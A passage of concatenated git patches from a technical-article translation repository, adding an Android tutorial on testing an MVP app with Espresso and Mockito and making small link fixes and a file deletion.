+Time to get familiar with ES6, currying, and function composition.
+
+### Next Steps ###
+
+[“Learn JavaScript with Eric Elliott”](https://ericelliottjs.com/product/lifetime-access-pass/) members can watch the 55-minute [ES6 Curry & Composition](https://ericelliottjs.com/premium-content/es6-curry-composition/)  lesson right now.
+
+If you’re not a member, you’re missing out!
+
+[![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/) 
+
+***Eric Elliott*** *is the author of [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/). He has contributed to software experiences for Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica, and many more.*
+
+*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From b682894aef71da63363fe56bd84cbd427d70eefe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 25 Apr 2017 23:48:52 +0800
Subject: [PATCH 260/638] Fix a typo.

---
 ...e-programming-android-rxjava2-what-the-hell-is-this-part3.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
index e625d1a042c..a548006095a 100644
--- a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
+++ b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
@@ -1,4 +1,4 @@
-> * 原文地址：[Reactive Programming [ Android RxJava2 ] ( What the hell is this ) Part3](https://www.teambition.com/project/583d8744180aa4d012496f03/tasks/scrum/583d8744fa1e93bf18a85a7a/task/58d0e5c09e4371c673330e96)
+> * 原文地址：[Reactive Programming [ Android RxJava2 ] ( What the hell is this ) Part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/)
 > * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：

From d9368fb0528250c99c9a3f0cc6c11f1bc3f052c2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 25 Apr 2017 23:54:44 +0800
Subject: [PATCH 261/638] Create testing-mvp-using-espresso-and-mockito.md

---
 .../testing-mvp-using-espresso-and-mockito.md | 498 ++++++++++++++++++
 1 file changed, 498 insertions(+)
 create mode 100644 TODO/testing-mvp-using-espresso-and-mockito.md

diff --git a/TODO/testing-mvp-using-espresso-and-mockito.md b/TODO/testing-mvp-using-espresso-and-mockito.md
new file mode 100644
index 00000000000..b31ff8af249
--- /dev/null
+++ b/TODO/testing-mvp-using-espresso-and-mockito.md
@@ -0,0 +1,498 @@
+> * 原文地址：[TESTING MVP USING ESPRESSO AND MOCKITO](https://josiassena.com/testing-mvp-using-espresso-and-mockito/)
+> * 原文作者：[Josias Sena](https://josiassena.com/about-me/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Testing MVP using Espresso and Mockito #
+
+As software developers, we try our best to do what is right and make sure that we are not incompetent, and try to have others and our employers trust in the code we write. We all try to follow best practices and apply good architecture patterns, but sometimes many of us find it difficult to actually test what we code.
+
+Personally, I have seen a few open-source projects where the developers are great at building awesome products—and can build any application you can think of—but for some reason lack at writing the proper tests, if any at all.
+
+This here is another simplified tutorial on how to unit test the “oh so amazing” MVP architecture pattern that many of us try to follow.
+
+Before I continue, I want to mention that I assume you are familiar with the MVP pattern, and have used it before. I will not go over the MVP pattern at all, and I will not explain how it works. With that in mind, I’d like to mention ahead of time that I am using one of my favorite libraries for MVPs created by a guy named [Hannes Dorfman](http://hannesdorfmann.com/) called [Mosby](https://github.com/sockeqwe/mosby). For simplicity’s sake, I am also using the view binding library called [ButterKnife](http://jakewharton.github.io/butterknife/).
+
+So what is this application we will be looking at?
+
+It is a very simple Android app, and it does one thing and one thing only: It hides and displays a TextView with the click of a button. That’s it.
+
+Here’s how the app looks initially:
+
+![Initial](https://i1.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/IVvsdac.png)
+
+Here’s how it looks when the button is clicked:
+
+![724E8fE.png](https://i2.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/724E8fE.png)
+
+For the sake of this article, let’s imagine that this is a multi-million-dollar product, and that the way it is now is the way it should be for a very long time. And if it were to ever change, we should be notified immediately.
+
+So we have three things in this app: a blue toolbar with the app name, a text view that displays “Hello World,” and a button that hides/shows the TextView.
+
+Before I start, I would like to mention that you can find all of the code for this article on  [my GitHub](https://github.com/josias1991/TestingMVP); if you do not want to read any of my rambling, please feel free to skip the rest of the post and go straight to the code. Comments will be added for clarity.
+
+Now, lets get testing!
+
+## **The Espresso tests** ##
+
+The first thing we want to test is our awesome ToolBar design. I mean, it is a million-dollar app after all; we need to make sure it stays that way!
+
+So first, here’s the complete code used to test the TooBar design. If you have no idea what is going on here, don’t worry: We will walk through it together.
+
+```
+@RunWith (AndroidJUnit4.class)
+public class MainActivityTest {
+ 
+    @Rule
+    public ActivityTestRule activityTestRule =
+            new ActivityTestRule&lt;&gt;(MainActivity.class);
+ 
+    @Test
+    public void testToolbarDesign() {
+        onView(withId(R.id.toolbar)).check(matches(isDisplayed()));
+ 
+        onView(withText(R.string.app_name)).check(matches(withParent(withId(R.id.toolbar))));
+ 
+        onView(withId(R.id.toolbar)).check(matches(withToolbarBackGroundColor()));
+    }
+ 
+    private Matcher&lt;? super View&gt; withToolbarBackGroundColor() {
+        return new BoundedMatcher&lt;View, View&gt;(View.class) {
+            @Override
+            public boolean matchesSafely(View view) {
+                final ColorDrawable buttonColor = (ColorDrawable) view.getBackground();
+ 
+                return ContextCompat
+                        .getColor(activityTestRule.getActivity(), R.color.colorPrimary) ==
+                        buttonColor.getColor();
+            }
+ 
+            @Override
+            public void describeTo(Description description) {
+            }
+        };
+    }
+}
+``` 
+
+First things first: We need to tell JUnit what sort of test we are running. This is what the first line does (@RunWith (AndroidJUnit4.class)). It says. “Hey, listen, I want to run an Android test that uses JUnit4 on an actual connected device.”
+
+So what exactly is an Android test? An Android test is a test that runs on the device instead of locally on the [Java Virtual Machine (JVM)](https://en.wikipedia.org/wiki/Java_virtual_machine) on your computer. This means that a device needs to be connected to your computer in order to run the test. This gives the test code access to functional Android framework APIs.
+
+These tests go in the androidTest directory.
+
+![android_test_directory](https://i0.wp.com/www.andevcon.com/hs-fs/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/gcpEaEX.png?w=442)
+
+Next lets take a look at this thing called an “ActivityTestRule”. Since the android documentation explains it really well, here it is:
+
+*“This rule provides functional testing of a single activity. The activity under test will be launched before each test annotated with [Test](http://junit.org/javadoc/latest/org/junit/Test.html) and before methods annotated with [Before](http://junit.sourceforge.net/javadoc/org/junit/Before.html). It will be terminated after the test is completed and methods annotated with [After](http://junit.sourceforge.net/javadoc/org/junit/After.html) are finished. During the duration of the test you will be able to manipulate your Activity directly.”*
+
+This basically says, “This is the activity I want to run my test.”
+
+Lets get in to the testToolbarDesign() method and see what the hell is going on.
+
+### **Testing the toolbar** ###
+
+```    onView(withId(R.id.toolbar)).check(matches(isDisplayed()));
+```
+
+What this test does is find a view with the ID that matches “R.id.toolbar,” then checks to make sure that this view is visible/displayed. If this line were to fail, the test would end right there and wouldn’t even bother with the rest.
+
+```    onView(withText(R.string.app_name)).check(matches(withParent(withId(R.id.toolbar))));
+```
+
+This one says “Hey, lets see if there is some text that equals ‘R.string.app_name’ and has a parent whose id is R.id.toolbar.”
+
+The last line in this test is a bit more involved. So basically what it is trying to do is to make sure that the background of the toolbar is equal to the app’s primary color.
+
+```
+onView(withId(R.id.toolbar)).check(matches(withToolbarBackGroundColor()));
+```
+
+So by default, Espresso does not provide a straightforward way to do this, so we need to create what is called a [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/package-summary.html). A Matcher is exactly what we have been using previously to match some view property to another. In this case, we want to match the primary color to the toolbars background.
+
+What we do is we create a [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/BoundedMatcher.html) and override the matchesSafely() method. The code inside this method is pretty easy to understand. First we get the toolbar’s background, then we compare it to the app’s primary color. If it is equal, it returns true; false otherwise.
+
+### **Test TextView hides/shows properly** ###
+
+Ok, before I show any code, I just want to mention that this code is a bit more verbose, but pretty straightforward to read. I have added some comments to show what exactly is going on.
+
+```
+
+@RunWith (AndroidJUnit4.class)
+public class MainActivityTest {
+ 
+    @Rule
+    public ActivityTestRule activityTestRule =
+            new ActivityTestRule&lt;&gt;(MainActivity.class);
+            
+    // ...
+ 
+    @Test
+    public void testHideShowTextView() {
+ 
+        // Check the TextView is displayed with the right text
+        onView(withId(R.id.tv_to_show_hide)).check(matches(isDisplayed()));
+        onView(withId(R.id.tv_to_show_hide)).check(matches(withText("Hello World!")));
+ 
+        // Check the button is displayed with the right initial text
+        onView(withId(R.id.btn_change_visibility)).check(matches(isDisplayed()));
+        onView(withId(R.id.btn_change_visibility)).check(matches(withText("Hide")));
+ 
+        // Click on the button
+        onView(withId(R.id.btn_change_visibility)).perform(click());
+ 
+        // Check that the TextView is now hidden
+        onView(withId(R.id.tv_to_show_hide)).check(matches(not(isDisplayed())));
+ 
+        // Check that the button has the proper text
+        onView(withId(R.id.btn_change_visibility)).check(matches(withText("Show")));
+ 
+        // Click on the button
+        onView(withId(R.id.btn_change_visibility)).perform(click());
+ 
+        // Check the TextView is displayed again with the right text
+        onView(withId(R.id.tv_to_show_hide)).check(matches(isDisplayed()));
+        onView(withId(R.id.tv_to_show_hide)).check(matches(withText("Hello World!")));
+ 
+        // Check that the button has the proper text
+        onView(withId(R.id.btn_change_visibility)).check(matches(isDisplayed()));
+        onView(withId(R.id.btn_change_visibility)).check(matches(withText("Hide")));
+    }
+    
+    // ...
+}
+```
+
+The gist of this code is that it is making sure that when the app opens, the TextView with ID “R.id.tv_to_show_hide” is displayed, and the text displayed on the TextView says “Hello World!”
+
+Then we check that the button is also displayed properly, and that the text on the button (by default) is set to “Hide”.
+
+Next we click on the button. A click on a button is very straightforward, and it is very easy to read how it is done. This time instead of calling “.check” after we find a view by ID, we call .perform(), and inside the perform() method, we pass in click(). The perform() method says “Please do the following action,” and then “performs” whatever action is passed in. In our case it is a click() action.
+
+Since the “Hide” button was clicked, we need to make sure the TextView is actually hidden now. We do this by adding a “not()” in front of the isDisplayed() method we used previously, and the button text has been changed to “Show”. This is the same as doing “!=” in plain ol’ java.
+
+```
+
+
+@RunWith (AndroidJUnit4.class)
+public class MainActivityTest {
+    // ...
+ 
+    @Test
+    public void testHideShowTextView() {
+    
+        // ...
+ 
+        // Check that the TextView is now hidden
+        onView(withId(R.id.tv_to_show_hide)).check(matches(not(isDisplayed())));
+ 
+        // Check that the button has the proper text
+        onView(withId(R.id.btn_change_visibility)).check(matches(withText("Show")));
+        
+        // ...
+    }
+    
+    // ...
+}
+``` 
+
+The code after these lines is the reverse of what we did before. We click the button again, make sure the TextView is visible again, and make sure that the button text has changed to successfully to match the situation.
+
+And that’s it!
+
+Here is the full UI test code:
+
+```
+
+@RunWith (AndroidJUnit4.class)
+public class MainActivityTest {
+ 
+    @Rule
+    public ActivityTestRule activityTestRule =
+            new ActivityTestRule&lt;&gt;(MainActivity.class);
+ 
+    @Test
+    public void testToolbarDesign() {
+        onView(withId(R.id.toolbar)).check(matches(isDisplayed()));
+ 
+        onView(withText(R.string.app_name)).check(matches(withParent(withId(R.id.toolbar))));
+ 
+        onView(withId(R.id.toolbar)).check(matches(withToolbarBackGroundColor()));
+    }
+ 
+    @Test
+    public void testHideShowTextView() {
+ 
+        // Check the TextView is displayed with the right text
+        onView(withId(R.id.tv_to_show_hide)).check(matches(isDisplayed()));
+        onView(withId(R.id.tv_to_show_hide)).check(matches(withText("Hello World!")));
+ 
+        // Check the button is displayed with the right initial text
+        onView(withId(R.id.btn_change_visibility)).check(matches(isDisplayed()));
+        onView(withId(R.id.btn_change_visibility)).check(matches(withText("Hide")));
+ 
+        // Click on the button
+        onView(withId(R.id.btn_change_visibility)).perform(click());
+ 
+        // Check that the TextView is now hidden
+        onView(withId(R.id.tv_to_show_hide)).check(matches(not(isDisplayed())));
+ 
+        // Check that the button has the proper text
+        onView(withId(R.id.btn_change_visibility)).check(matches(withText("Show")));
+ 
+        // Click on the button
+        onView(withId(R.id.btn_change_visibility)).perform(click());
+ 
+        // Check the TextView is displayed again with the right text
+        onView(withId(R.id.tv_to_show_hide)).check(matches(isDisplayed()));
+        onView(withId(R.id.tv_to_show_hide)).check(matches(withText("Hello World!")));
+ 
+        // Check that the button has the proper text
+        onView(withId(R.id.btn_change_visibility)).check(matches(isDisplayed()));
+        onView(withId(R.id.btn_change_visibility)).check(matches(withText("Hide")));
+    }
+ 
+    private Matcher&lt;? super View&gt; withToolbarBackGroundColor() {
+        return new BoundedMatcher&lt;View, View&gt;(View.class) {
+            @Override
+            public boolean matchesSafely(View view) {
+                final ColorDrawable buttonColor = (ColorDrawable) view.getBackground();
+ 
+                return ContextCompat
+                        .getColor(activityTestRule.getActivity(), R.color.colorPrimary) ==
+                        buttonColor.getColor();
+            }
+ 
+            @Override
+            public void describeTo(Description description) {
+            }
+        };
+    }
+}
+```
+
+## **The Unit Tests** ##
+
+The great thing about unit tests—as opposed to Android tests—is that they run locally on your machine on the JVM. No need to have a device attached, and the tests run so much faster. The downside is that they do not have access to functional Android framework APIs. Overall, when testing anything other then UI you should try your best to write unit tests instead of Android/Instrumentation tests. The faster the tests, the better.
+
+Lets start with the directory of the unit tests. The unit tests go in a different location then the Android tests did.
+
+![different_location](https://i1.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/mYBjN1x.png)
+
+Before moving on lets take a look at our presenter and what we are going to consider our model for this tutorial.
+
+### *Lets start with the presenter* ###
+
+```
+
+public class MainPresenterImpl extends MvpBasePresenter implements MainPresenter {
+ 
+    @Override
+    public void reverseViewVisibility(final View view) {
+        if (view != null) {
+            if (view.isShown()) {
+                Utils.hideView(view);
+ 
+                setButtonText("Show");
+            } else {
+                Utils.showView(view);
+ 
+                setButtonText("Hide");
+            }
+        }
+    }
+ 
+    private void setButtonText(final String text) {
+        if (isViewAttached()) {
+            getView().setButtonText(text);
+        }
+    }
+}
+``` 
+
+Simple enough. We have two methods: One checks to see if the view is visible. If it is, hide it, otherwise show it. Once this is done, we call into our view and say “Hey, change the button text to either ‘Hide’ or ‘Show’.”
+
+Our reverseViewVisibility() method calls into what we call (for this tutorial at least) our “model” to set the proper visibility on the view passed in.
+
+### *Lets take a look at our model.* ###
+
+```
+public final class Utils {
+
+    // ...
+
+    public static void showView(View view) {
+        if (view != null) {
+            view.setVisibility(View.VISIBLE);
+        }
+    }
+
+    public static void hideView(View view) {
+        if (view != null) {
+            view.setVisibility(View.GONE);
+        }
+    }
+``` 
+
+There are two methods: showView(View) and hideView(View). What these methods do is very straightforward and self-explanatory. We check if the view is null; if not, we either hide it or show it.
+
+Great, now that we are familiar with both our presenter and our “model,” lets go ahead and test them. After all, this is a multi-million-dollar product, and we cannot have anything go wrong.
+
+Let start start testing our presenter first. When it comes to a presenter—ANY presenter—we need to make sure that the view is attached to the presenter. Note: We are NOT testing the view. We just need to make sure that the view is attached so that we can verify the proper view methods are being made in the right time. Keep this in mind as this is very important.
+
+We will be using Mockito to run our tests, so just like we did with our unit tests, we ned to tell Android, “Hey, we want to run these tests with the MockitoJUnitRunner.” To do so we add the @RunWith (MockitoJUnitRunner.class) annotation on top of our test class.
+
+So we know two things right from the start: We need a mocked View because our presenter uses a View Object to hide or show it, and we also need our presenter.
+
+This is how we mock using Mockito
+
+```
+@RunWith (MockitoJUnitRunner.class)
+public class MainPresenterImplTest {
+ 
+    MainPresenterImpl presenter;
+ 
+    @Before
+    public void setUp() throws Exception {
+        presenter = new MainPResenterImpl();
+        presenter.attachView(Mockito.mock(MainView));
+    }
+    
+    // ...
+}
+```
+
+The first actual test we want to write is called “testReverseViewVisibilityFromVisibleToGone”. As the name says, we are going to make sure that the presenter sets the proper visibility when the view passed in to the reverseViewVisibility() method is visible.
+
+```
+   @Test
+    public void testReverseViewVisibilityFromVisibleToGone() throws Exception {
+        final View view = Mockito.mock(View.class);
+        when(view.isShown()).thenReturn(true);
+
+        presenter.reverseViewVisibility(view);
+
+        Mockito.verify(view, Mockito.atLeastOnce()).setVisibility(View.GONE);
+        Mockito.verify(presenter.getView(), Mockito.atLeastOnce()).setButtonText(anyString());
+    }
+```
+
+Let’s step through this together. What is actually going on here? Well, when the isShown() method is called on the view that is passed in to the presenter, we want to say yes, the view is shown, because we are testing from visible to gone, so we need to start at visible. Then, we call the presenters reverseViewVisibility() method by passing in the mocked view. Now we need to verify that the mocked views .setVisibility() was called at least once, and it was set to View.GONE. Afterwards, we need to verify that the presenters view setButtonText() method was called. Not that hard right?
+
+Alright, lets do the opposite. Before moving on and looking at the next piece of code, take some time to figure it out yourself. How would we test going from hidden to visible? Think about what you already know.
+
+Here’s the code:
+
+```
+    @Test
+    public void testReverseViewVisibilityFromGoneToVisible() throws Exception {
+        final View view = Mockito.mock(View.class);
+        when(view.isShown()).thenReturn(false);
+
+        presenter.reverseViewVisibility(view);
+
+        Mockito.verify(view, Mockito.atLeastOnce()).setVisibility(View.VISIBLE);
+        Mockito.verify(presenter.getView(), Mockito.atLeastOnce()).setButtonText(anyString());
+    }
+```
+
+
+Lets move on to testing our “Model.” As before, we start by adding the @RunWith (MockitoJUnitRunner.class) annotation on top of our class.
+
+``` 
+@RunWith(MockitoJUnitRunner.class)
+
+publicclassUtilsTest{
+
+    // ...
+
+}
+```
+ 
+
+As mentioned previously, our Utils class first checks if the view is not null. If not, a visibility is applied, otherwise nothing is done.
+
+The tests for this class are very easy, so I am just going to put the whole thing here without stepping through it line by line.
+
+```
+@RunWith (MockitoJUnitRunner.class)
+public class UtilsTest {
+
+    @Test
+    public void testShowView() throws Exception {
+        final View view = Mockito.mock(View.class);
+
+        Utils.showView(view);
+
+        Mockito.verify(view).setVisibility(View.VISIBLE);
+    }
+
+    @Test
+    public void testHideView() throws Exception {
+        final View view = Mockito.mock(View.class);
+
+        Utils.hideView(view);
+
+        Mockito.verify(view).setVisibility(View.GONE);
+    }
+
+    @Test
+    public void testShowViewWithNullView() throws Exception {
+        Utils.showView(null);
+    }
+
+    @Test
+    public void testHideViewWithNullView() throws Exception {
+        Utils.hideView(null);
+    }
+}
+```
+ 
+
+I’ll explain what is going on in the testShowViewWithNullView() and testHideViewWithNullView() methods. Why would we want to test something like this? Well if we think about it for a second, we do not want our method calls to crash the entire application because the view was null.
+
+Lets take a look at the Utils showView() method. If we remove the null check, the app will throw a NullPointerException and would crash.
+
+```
+public final class Utils {
+
+    // ...
+    
+    public static void showView(View view) {
+        if (view != null) {
+            view.setVisibility(View.VISIBLE);
+        }
+    }
+    
+    // ...
+}
+```
+
+In other scenarios we may want the app to actually throw an exception. How would we test an exception? Its actually very easy: You would just pass in an expected param to the @Test annotation like so:
+
+```
+@RunWith (MockitoJUnitRunner.class)
+public class UtilsTest {
+
+    // ...
+
+    @Test (expected = NullPointerException.class)
+    public void testShowViewWithNullView() throws Exception {
+        Utils.showView(null);
+    }
+}
+```
+
+If no exception is thrown, the test would fail.
+
+Again, you can find all of the code on [GitHub](https://github.com/josias1991/TestingMVP).
+
+Now that we are at the end of the post, I want to mention something to you guys: Testing will not always be as straightforward as it was in this example, but it doesn’t mean it can’t, and shouldn’t be done. As software developers, we need to make sure that our applications work properly and as expected. We need to make sure others trust our code. I have been doing this for many years and you couldn’t imagine how many times tests have saved me, even for the simplest thing such as changing a view ID.
+
+No one is perfect, but tests help us get a step closer. Keep on coding, keep on testing and until next time!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From ce2c97cc9c7b17f0480ab446af0d86fff6d76794 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 26 Apr 2017 00:01:41 +0800
Subject: [PATCH 262/638] Update
 familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md

---
 ...s-is-holding-you-back-its-time-to-embrace-arrow-functions.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
index 6e84b0f8352..448af4f0d5a 100644
--- a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
+++ b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Familiarity Bias is Holding You Back: It’s Time to Embrace Arrow Functions](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)
-> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
+> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：

From b1af3e779e5fdb72a2f854941c3e51255796c73f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 26 Apr 2017 00:02:17 +0800
Subject: [PATCH 263/638] Update


From bb62e86ca560f3c1b0180379e87cd3c9527c811e Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Wed, 26 Apr 2017 10:43:54 +0800
Subject: [PATCH 264/638] fix typos

---
 TODO/a-complete-guide-to-learn-rxjava.md | 100 -----------------------
 TODO/design-principle-aesthetics.md      |   2 +-
 TODO/yeah-redesign-part-1.md             |   4 +-
 3 files changed, 3 insertions(+), 103 deletions(-)
 delete mode 100644 TODO/a-complete-guide-to-learn-rxjava.md

diff --git a/TODO/a-complete-guide-to-learn-rxjava.md b/TODO/a-complete-guide-to-learn-rxjava.md
deleted file mode 100644
index bd05349652f..00000000000
--- a/TODO/a-complete-guide-to-learn-rxjava.md
+++ /dev/null
@@ -1,100 +0,0 @@
-> * 原文地址：[A Complete Guide To Learn RxJava](https://blog.mindorks.com/a-complete-guide-to-learn-rxjava-b55c0cea3631)
-> * 原文作者：[Amit Shekhar](https://blog.mindorks.com/@amitshekhar?source=post_header_lockup)
-> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
-
-# **A Complete Guide To Learn RxJava** #
-
-![](https://cdn-images-1.medium.com/max/800/1*S_Mq74exiad5JrgyN-41pw.png)
-
-### **A Complete Resources To Learn RxJava At One Place.** ###
-
-#### What is RxJava? ####
-
-> RxJava is used for reactive programming. In reactive programming, the consumer reacts to the data as it comes in. Reactive programming allows for event changes to propagate to registered observers.
-
-As we know that the RxJava is the most important library for Android Projects. So we must have a proper grip on using RxJava in the Android Projects.
-
-#### **And I believe:** ####
-
-> **RxJava is an art and endless possibilities await those who can master it**
-
-### Let’s see all the best resources available to learn RxJava in the best possible way. ###
-
-### [Grokking RxJava Series](http://blog.danlew.net/2014/09/15/grokking-rxjava-part-1/) ###
-
-[RxJava](https://github.com/ReactiveX/RxJava) is the new hotness amongst Android developers these days. The only problem is that it can be difficult to approach initially. Functional Reactive Programming is hard when you come from an imperative world, but once you understand it, it’s so awesome.
-
-### [Learn RxJava By Examples](https://github.com/amitshekhariitbhu/RxJava2-Android-Samples)  ###
-
-**Because Learning by examples is the best way to learn**.
-
-[![](http://i1.piimg.com/1949/08be9bc226fd2cb4.png)](https://github.com/amitshekhariitbhu/RxJava2-Android-Samples)
-
-It consists of many examples like:
-
-- How to use operators in RxJava?
-- How to do networking in RxJava?
-- How to implement RxBus(EventBus) in RxJava?
-- How to implement pagination with RxJava?
-
-Another one is from Kaushik. I have learned a lot from here.
-
-[![Markdown](http://i1.piimg.com/1949/34e05ecb9f101fa6.png)](https://github.com/kaushikgopal/RxJava-Android-Samples)
-
-### [Exploring RxJava 2 for Android by Jake Wharton](https://www.youtube.com/watch?v=htIXKI5gOQU)  ###
-
-![](https://cdn.embedly.com/widgets/xcomm.html#name=media&sid=fb6eccf04e144d928ac51cf751abf7b0)
-
-### [Managing State with RxJava by Jake Wharton](https://www.youtube.com/watch?v=0IKHxjkgop4) ### 
-
-![](https://cdn.embedly.com/widgets/xcomm.html#name=media&sid=7082ade718c745b3b8233afc1662d939) 
-
-### [Another Learn Rxjava By Examples](https://www.youtube.com/watch?v=k3D0cWyNno4) ###
-
-![](https://cdn.embedly.com/widgets/xcomm.html#name=media&sid=06f58fec20af46309597cec9b86abfff) 
-
-### [Understanding RxJava Subject — Publish, Replay, Behavior and Async Subject](https://blog.mindorks.com/understanding-rxjava-subject-publish-replay-behavior-and-async-subject-224d663d452f) ###
-
-[![](http://i1.piimg.com/1949/b30bdcbf45a1753c.png)](https://blog.mindorks.com/understanding-rxjava-subject-publish-replay-behavior-and-async-subject-224d663d452f)
-
-### [Using RxJava In Networking](https://blog.mindorks.com/rxjava-fast-android-networking-6e3d90ee4387) ###
-
-[![Markdown](http://i1.piimg.com/1949/1120535cb191dff0.png)](https://blog.mindorks.com/rxjava-fast-android-networking-6e3d90ee4387)
-
-### [Better Explanation of RxJava and Using It In Android](https://medium.com/@kurtisnusbaum/rxandroid-basics-part-1-c0d5edcf6850#.z6ha43z02)  ###
-
-[![Markdown](http://i1.piimg.com/1949/b12f79e5f3711746.png)](https://medium.com/@kurtisnusbaum/rxandroid-basics-part-1-c0d5edcf6850)
-
-### [The Complete Introduction To Reactive Programming](https://gist.github.com/staltz/868e7e9bc2a7b8c1f754) ###
-
-[Link here.](https://gist.github.com/staltz/868e7e9bc2a7b8c1f754)
-
-### [**Intro To RxJava**](https://github.com/Froussios/Intro-To-RxJava) ###
-
-[Link here.](https://github.com/Froussios/Intro-To-RxJava) 
-
-### [Crunching RxAndroid](https://medium.com/crunching-rxandroid/crunching-rxandroid-intro-c27eb6f009ea) ###
-
-[![Markdown](http://i1.piimg.com/1949/f6c9ba29bdef291f.png)](https://medium.com/crunching-rxandroid/crunching-rxandroid-intro-c27eb6f009ea)
-
-### [Why should you use RxJava in Android?](http://blog.feedpresso.com/2016/01/25/why-you-should-use-rxjava-in-android-a-short-introduction-to-rxjava.html) ###
-
-[![Markdown](http://i1.piimg.com/1949/d6af73998d20e852.png)](http://blog.feedpresso.com/2016/01/25/why-you-should-use-rxjava-in-android-a-short-introduction-to-rxjava.html)
-
-> **With great power, comes great responsibility. So learn it in the best way.**
-
-Happy Coding :)
-
-**Thanks for reading this article. Be sure to click ❤ below to recommend this article if you found it helpful. It means a lot to me.**
-
-***For more about programming, follow me and [Mindorks](https://blog.mindorks.com), so you’ll get notified when we write new posts.***
-
-[**Join The Mindorks Community And Learn From Each Other.**](https://mindorks.com/join-community) 
-
-**Also, Let’s become friends on [Twitter](https://twitter.com/amitiitbhu) , [Linkedin](https://in.linkedin.com/in/amit-shekhar-3b556499) , [Github](https://github.com/amitshekhariitbhu) and [Facebook](https://www.facebook.com/amit.shekhar.iitbhu).**
-
----
-
-> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
